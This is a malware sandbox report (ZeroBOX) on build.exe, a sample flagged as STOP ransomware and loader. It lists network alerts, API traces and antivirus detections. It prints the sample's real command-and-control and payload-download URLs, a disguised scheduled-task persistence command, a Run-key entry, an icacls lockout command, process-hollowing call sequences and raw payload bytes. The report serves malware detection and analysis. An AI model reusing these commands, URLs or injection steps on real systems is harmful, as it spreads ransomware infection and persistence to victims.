popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

build.exe

Suspicious_Script_Bin [m] Generic Malware Generic Malware UPX task schedule Malicious Library DGA PWS Internet API DNS Http API ScreenShot Socket AntiDebug PE File OS Processor Check PE32 AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us June 26, 2024, 10:08 a.m. June 26, 2024, 10:15 a.m.
Size 839.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 71b44c9a55f3b40681f6a5524ca9821d
SHA256 9cea3ad8914836b158f4a3494c1b3b3dadc93af4d9a560cbec22742302de5439
CRC32 FA108585
ssdeep 12288:oFLV3SQMC2KjSnCs/urQO4VivUI6q9ulGvxnrgJMKut3KENjEhQEOuV:iSQaCsgUI6grzt3K4EWlu
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file
  • OS_Processor_Check_Zero - OS Processor Check

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49172 -> 93.118.137.82:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.103:49172 -> 93.118.137.82:80 2036334 ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key A Network Trojan was detected
TCP 93.118.137.82:80 -> 192.168.56.103:49172 2036335 ET MALWARE Win32/Filecoder.STOP Variant Public Key Download A Network Trojan was detected
TCP 192.168.56.103:49173 -> 201.191.99.134:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.103:49173 -> 201.191.99.134:80 2020826 ET MALWARE Potential Dridex.Maldoc Minimal Executable Request A Network Trojan was detected
TCP 192.168.56.103:49173 -> 201.191.99.134:80 2036333 ET MALWARE Win32/Vodkagats Loader Requesting Payload A Network Trojan was detected
TCP 192.168.56.103:49171 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.103:49171 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 201.191.99.134:80 -> 192.168.56.103:49173 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49174 -> 93.118.137.82:80 2020826 ET MALWARE Potential Dridex.Maldoc Minimal Executable Request A Network Trojan was detected
TCP 192.168.56.103:49174 -> 93.118.137.82:80 2036333 ET MALWARE Win32/Vodkagats Loader Requesting Payload A Network Trojan was detected
TCP 93.118.137.82:80 -> 192.168.56.103:49174 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
UDP 192.168.56.103:52760 -> 164.124.101.2:53 2027026 ET POLICY External IP Address Lookup DNS Query (2ip .ua) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49165 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49171
104.21.65.24:443 		C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1
TLSv1
192.168.56.103:49165
104.21.65.24:443 		C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "Azure-Update-Task" has successfully been created.
console_handle: 0x00000007
1 1 0
resource name AFX_DIALOG_LAYOUT
request GET http://cajgtus.com/test2/get.php?pid=06280D9CD13939E9B7E95CDCAA6A83CC&first=true
request GET http://defgyma.com/dl/build2.exe
request GET http://cajgtus.com/files/1/build3.exe
request GET https://api.2ip.ua/geo.json
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 65536
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002dc000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00890000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x023b3710 size 0x00000468
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x023b3b78 size 0x00000068
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x023b3b78 size 0x00000068
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x023b3b78 size 0x00000068
file C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build2.exe
file C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
file C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
file C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build2.exe
file C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2040
thread_handle: 0x000000ac
process_identifier: 948
current_directory:
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x000000b0
1 1 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $_á3e`e`e`7` e`7 `e`7 `0e`<£ô`e`eŽ`re`7`e`7`e`7`e`Riche`PELÈò¶cà  ´Z¹ª#Ð@À¹Ñì#(¸¥H@Ðp.textW³´ `.rdataL\Ð^¸@@.dataÈÒ´0D@À.rsrc¥¸¦Z@@U‹ìVEP‹ñè;ǼÑ@‹Æ^]ÂǼÑ@éðU‹ìV‹ñǼÑ@èßöEtVèY‹Æ^]ÂU‹ì€}t(ƒ~r"FW‹8…Ûv QWjPèùƒÄWèåY_‹Ë‹ÆÇFè]ÂU‹ì‹VSW^ƒúr‹ ë‹Ë¸4C;Èw3ƒúr‹ ë‹Ë‹~ y;Èvƒúr‹ ë‹Ëÿu‹Ø+ÙÑûV‹ÆèTë4‹}‹Æè΄Àt$‹Fƒør‹h4CPS‹ÇèƒÄ ‹Ï‹Æè‹Æ_[]ƒx‰Hr‹@ëƒÀ3Òf‰HÃU‹ìV‹ðW9^s萋~+û9} s‹} ‹E;Æujÿû‹ðèœS3ÿè”ëCèG„Àt:ƒ~r‹FëF‹u‹Vƒúr‹NëNXPRQ‹ÇèðƒÄ ‹Ï‹Æèkÿÿÿ‹E_^]ÂV‹ðÿþÿÿvè¿‹F;Çs ÿvWVè ë…ÿu!~ƒør‹vëƒÆ3Àf‰3À;ÇÀ÷Ø^ÃU‹ìQQ9~sèÆ‹F+Ç;Es‰Eƒ}vS‹NSVƒùr‹‰]üë‰Uüƒùr‹‹]+ÃÀP‰Uø‹UüBP‹Eø+ÏÉQxPè^‹NƒÄ+ˋÆè¨þÿÿ[‹ÆÉÂj¸(Ã@è6‹u‹} ƒÏÿþÿÿv‹} ë'3Òj‹Ç[÷ó‹N‰MìÑmì‹Uì;Âs¸þÿÿ+Â;Èw< ƒeüO舉E ë$‹E H‰eð‰EìÆEüèn‰E ¸ô@Ëu‹}ìƒ}v!ƒ~r‹FëFPGPÿu ‹EèxƒÄ j3Ûè"ýÿÿ‹E ‹M‰F‹Æ‰~èàýÿÿè² ‹uj3ÛèûüÿÿSSèóÌU‹ìƒì …Éw3ɍ Pè0YÉÃÈÿ3Ò÷ñƒøsèjMôèyüÿÿhP#CEôPè¶ÌU‹ìÀPÿu‹E ÀPÿuè¾ ‹EƒÄ]ÃU‹ìVÿu‹ñè÷ ǼÑ@‹Æ^]‹ÿU‹ìÿuÿuÿu ÿuè… ‹EƒÄ]ËÿU‹ìÿuÿuÿu ÿuèÀ‹EƒÄ]ËÿU‹ìƒ}Vt+‹qAƒþr‹ë‹Ð9Urƒþr‹‹IÈ;Mv°ë2À^]‹ÿU‹ì‹Mƒì …Éw 3ÉQè= YÉÃÈÿ3Ò÷ñƒøsëjMôè†ûÿÿhP#CEôPèÃ̋ÿU‹ìÿuÿuÿu ÿuè1ÿÿÿƒÄ]ËÿU‹ìÿuÿuÿu ÿuè4ÿÿÿƒÄ]ËÿU‹ìƒy‹E‰Ar‹IëƒÁÆ]‹ÿU‹ìjÿuè[ÿÿÿYY]‹ÿU‹ìQÿuüÿuÿuÿu ÿuèzÿÿÿƒÄÉËÿU‹ìQÿuüÿuÿuÿu ÿuèvÿÿÿƒÄÉËÿU‹ì€}V‹ñt)ƒ~r#ƒ} FW‹8vÿu WjPè–ÿÿÿƒÄWèø Y_ÿu ‹ÎÇFèDÿÿÿ^]Âj ¸fÂ@è2‹ù‰}è‹uƒÎƒþþv‹uë%3Òj‹Æ[÷ó‹O‰MìÑmì‹Uì;Âs jþX+Â;Èw4 ƒeüFP‹Ïè ÿÿÿ‹Øë)‹E‹Mè‰E@‰eðPÆEüèðþÿÿ‰Eì¸ù@Ë}è‹u‹]ìƒ} vƒr‹GëGÿu PFPSèÑþÿÿƒÄjj‹Ïèÿÿÿÿu ‹Ï‰_‰wè}þÿÿè­Â‹Mè3öVjèÜþÿÿVVèí ÌjjèËþÿÿÃj¸‰Â@è‹ñ‰uðèºÿuƒeüN ÇÈÑ@è‚‹ÆèYƒy$r‹AÍAËÿV‹ñjjN ÇÈÑ@èpþÿÿ‹Î^éL‹ÿU‹ìV‹ñèÔÿÿÿöEtVè| Y‹Æ^]‹ÿU‹ìVÿu‹ñèmÿÿÿÇÔÑ@‹Æ^]ÂÇÔÑ@é˜ÿÿÿ‹ÿU‹ìV‹ñÇÔÑ@è…ÿÿÿöEtVè- Y‹Æ^]‹ÿU‹ìVÿu‹ñèÿÿÿÇàÑ@‹Æ^]ÂÇàÑ@éIÿÿÿ‹ÿU‹ìV‹ñÇàÑ@è6ÿÿÿöEtVèÞY‹Æ^]ÂjD¸¬Â@èõhèÑ@MØè ƒeüEØPM°è9ÿÿÿh¸CE°PèŠ Ì‹ÿU‹ìV‹uƒþþvèµÿÿÿ9qs ÿqVèýÿÿë(€} tƒþs‹A;ðs‹ÆPjè2ýÿÿë …öuVè²üÿÿ3À;ÆÀ÷Ø^]‹ÿU‹ìVW‹}W‹ñèàûÿÿ„Àtƒ~r‹FëFÿu +øWV‹Îè2ë:jÿu ‹Îèhÿÿÿ„Àt(‹Nƒùr‹FëFÿu WQPè|üÿÿƒÄÿu ‹Îè9üÿÿ‹Æ_^]‹ÿU‹ìVÿu‹ñè" YPÿu‹Îèpÿÿÿ^]‹ÿU‹ìV‹ñjÇFèúûÿÿÿu‹Îè¿ÿÿÿ‹Æ^]ÂjD¸ÏÂ@è©høÑ@MØèÀÿÿÿƒeüEØPM°è<þÿÿh<CE°Pè> ̋ÿU‹ì‹UV‹ñ‹N;Êsè±ÿÿÿ+Ê;M s‰M ƒ} vB‹FSW~ƒør‹ë‹ßƒør‹?+M Ú] QS+ÂPúWè°ûÿÿ‹F+E ƒÄP‹ÎèJûÿÿ_[‹Æ^]‹ÿU‹ìS‹] VW‹}‹G‹ñ;Ãsè<ÿÿÿ+ÉE‹E;Es‰E;÷u‹EjÿÃPèSÿÿÿSj‹ÎèIÿÿÿëFjÿuèñýÿÿ„Àt8ƒr‹ëƒÇ‹Nƒùr‹FëFÿuûWQPèõúÿÿƒÄÿu‹Îè²úÿÿ_‹Æ^[] ‹ÿU‹ìV‹ñjÇFè“úÿÿjÿjÿu‹ÎèDÿÿÿ‹Æ^]Âj¸òÂ@è>‹ñ‰uð‹}Wè_ƒeüƒÇ WN ÇÈÑ@è¥ÿÿÿ‹Æè|‹ÿU‹ìVÿu‹ñè¶ÿÿÿÇÔÑ@‹Æ^]‹ÿU‹ìVÿu‹ñè™ÿÿÿÇàÑ@‹Æ^]Â; 0CuóÃéD‹ÿU‹ì‹EVW3ÿ;ÇtG9}uè6j^‰0WWWWW迃ċÆë)9}tà9E sèj"Y‰‹ñë×PÿuÿuèøƒÄ 3À_^]ËÿU‹ì‹EV‹ñÆF …Àucèó ‰F‹Hl‰‹Hh‰N‹; 8Ct‹ 47C…Hpu莉‹F;86Ct‹F‹ 47C…Hpuè‰F‹Fö@puƒHpÆF ë ‹‰‹@‰F‹Æ^]‹ÿU‹ìƒì3ÉW‹ø;ñt3Àf‰;Ù„y9M „p8 „hÿuMðè?ÿÿÿ‹Eðƒxu.…ötf¶f‰‹E…ÀtÇ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $6økr™h8r™h8r™h8ÏÖþ8s™h8lËý8n™h8lËë8ü™h8U_8{™h8r™i8əh8lËì82™h8lËü8s™h8lËù8s™h8Richr™h8PELÒ¹aà  j˜; €@À>°¿€lhd>/0¸@¸.textrhj `.data¨ÿ:€n@À.kic€>|@À.rsrc/>0~@@¶sŒsœsök l"l.lHlZlpl†l–l¬lÀlÐlìlþlm m4mBm^mtmˆm m°mÊmÜmömnn&n@n\nln‚n”n n¬n¼nÔnænönoo,o@oTo`opo€o’oêkÂoØoêopp.p:pHpVpnp‚p˜p¦p´pÎpÜpüpq,q@qPqbq~q–q¨q¶qÎqÜqêq r"r2r>rPrbrxr–rªr¾rÚrärs s s4sLsÒk¦k´k¦oˆkÜsäsüst&t:tNtjtˆtœt²t¾tÊtÜtìtüt uu$u:uDuRubunu„u”uªu¸uÊuÜuöuvv6vLvfv~v˜v®vÈvÖvävðvww&w2w>wNwXwdwpw‚wªwÀwÐwæwöwxx*x<xHxVxdxnsp:C AÀA€`A4B`TB@ÞA@;B@*Cp ATžcX¸¬bad allocationlubimipemoxiluyexuwilusimazovahoyipixefuliguhifedejowibifunepageyuveciwicabutecohopecadedohomosiseroxagogukisegopezehuyorosecexeyunolezamugocimidezoyobugalodolobuvelelezocokakufofafacajoxecesuvusunixanofuloxucepofalimetominibidoluzogudawulapabevotuwSolofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexeyukuore lacohocojalikukkurikolisidudiguyikawu danijekernel32.dllì¸@§»@Ðç@ITERATOR LIST CORRUPTED!C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xutility"out of range"("_Myptr + _Off <= ((_Myvec *)(this->_Getmycont()))->_Mylast && _Myptr + _Off >= ((_Myvec *)(this->_Getmycont()))->_Myfirst", 0)"invalid argument"std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\vectorstd::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::alloca
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x000a0c00', u'virtual_address': u'0x00014000', u'entropy': 7.720115696201179, u'name': u'.rdata', u'virtual_size': u'0x000a0a54'} entropy 7.7201156962 description A section with a high entropy has been found
entropy 0.766845557543 description Overall entropy of this PE file is high
url http://www.openssl.org/support/faq.html
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description [m] Generic Malware rule Generic_Malware_Zero_m
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
cmdline /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper reg_value "C:\Users\test22\AppData\Local\5b31f130-ec4a-43ad-82c9-3b3f7d683b80\build.exe" --AutoStart
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2088
process_handle: 0x00000080
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Process injection Process 1680 called NtSetContextThread to modify thread in remote process 2088
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4201210
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2088
1 0 0
Process injection Process 2584 resumed a thread in remote process 2736
Process injection Process 1680 resumed a thread in remote process 2088
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2736
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2088
1 0 0
cmdline icacls "C:\Users\test22\AppData\Local\5b31f130-ec4a-43ad-82c9-3b3f7d683b80" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2688
thread_handle: 0x000002fc
process_identifier: 2684
current_directory:
filepath:
track: 1
command_line: icacls "C:\Users\test22\AppData\Local\5b31f130-ec4a-43ad-82c9-3b3f7d683b80" /deny *S-1-1-0:(OI)(CI)(DE,DC)
filepath_r:
stack_pivoted: 0
creation_flags: 72 (DETACHED_PROCESS|IDLE_PRIORITY_CLASS)
inherit_handles: 0
process_handle: 0x000004f0
1 1 0

CreateProcessInternalW

 thread_identifier: 2740
thread_handle: 0x000002bc
process_identifier: 2736
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\build.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c4
1 1 0

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2736
1 0 0

CreateProcessInternalW

 thread_identifier: 1372
thread_handle: 0x000002bc
process_identifier: 1680
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe"
filepath_r: C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c4
1 1 0

CreateProcessInternalW

 thread_identifier: 2080
thread_handle: 0x0000007c
process_identifier: 2088
current_directory:
filepath: C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe"
filepath_r: C:\Users\test22\AppData\Local\b22273b6-6a69-427a-a3b8-b10592be9460\build3.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 2088
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2088
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4201210
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2088
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2088
1 0 0

CreateProcessInternalW

 thread_identifier: 2040
thread_handle: 0x000000ac
process_identifier: 948
current_directory:
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x000000b0
1 1 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Strab.4!c
Elastic malicious (high confidence)
Cynet Malicious (score: 100)
Skyhigh BehavesLike.Win32.Lockbit.cc
McAfee Artemis!71B44C9A55F3
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
VirIT Trojan.Win32.Tepfer.AE
Symantec ML.Attribute.HighConfidence
tehtris Generic.Malware
ESET-NOD32 a variant of Win32/Kryptik.HXJD
APEX Malicious
Avast Win32:DropperX-gen [Drp]
ClamAV Win.Packed.Fareit-10030127-0
Kaspersky HEUR:Trojan.Win32.Strab.gen
Rising Trojan.Yakes!8.430 (CLOUD)
F-Secure Trojan.TR/AD.InstaBot.rajyu
DrWeb Trojan.Pitou.18
TrendMicro Trojan.Win32.SMOKELOADER.YXEFYZ
McAfeeD Real Protect-LS!71B44C9A55F3
Trapmine malicious.high.ml.score
FireEye Generic.mg.71b44c9a55f3b406
Sophos Mal/Generic-S
Ikarus Trojan.Win32.Stealc
Webroot W32.Trojan.Gen
Google Detected
Avira TR/AD.InstaBot.rajyu
Kingsoft malware.kb.a.1000
Gridinsoft Ransom.Win32.STOP.tr
Microsoft Trojan:Win32/Yakes.SPON!MTB
ViRobot Trojan.Win.Z.Kryptik.859648.E
ZoneAlarm HEUR:Trojan.Win32.Strab.gen
GData Win32.Trojan-Ransom.STOP.LWKOWZ
Varist W32/Kryptik.MIR.gen!Eldorado
AhnLab-V3 Trojan/Win.Generic.R653711
BitDefenderTheta Gen:NN.ZexaF.36808.0q0@ae@LVKaG
DeepInstinct MALICIOUS
VBA32 BScope.Malware-Cryptor.Win32.313
Malwarebytes Trojan.MalPack.GS
TrendMicro-HouseCall Trojan.Win32.SMOKELOADER.YXEFYZ
SentinelOne Static AI - Suspicious PE
MaxSecure Win.MxResIcn.Heur.Gen
Fortinet W32/Kryptik.HBBY!tr
AVG Win32:DropperX-gen [Drp]
Paloalto generic.ml
CrowdStrike win/malicious_confidence_100% (W)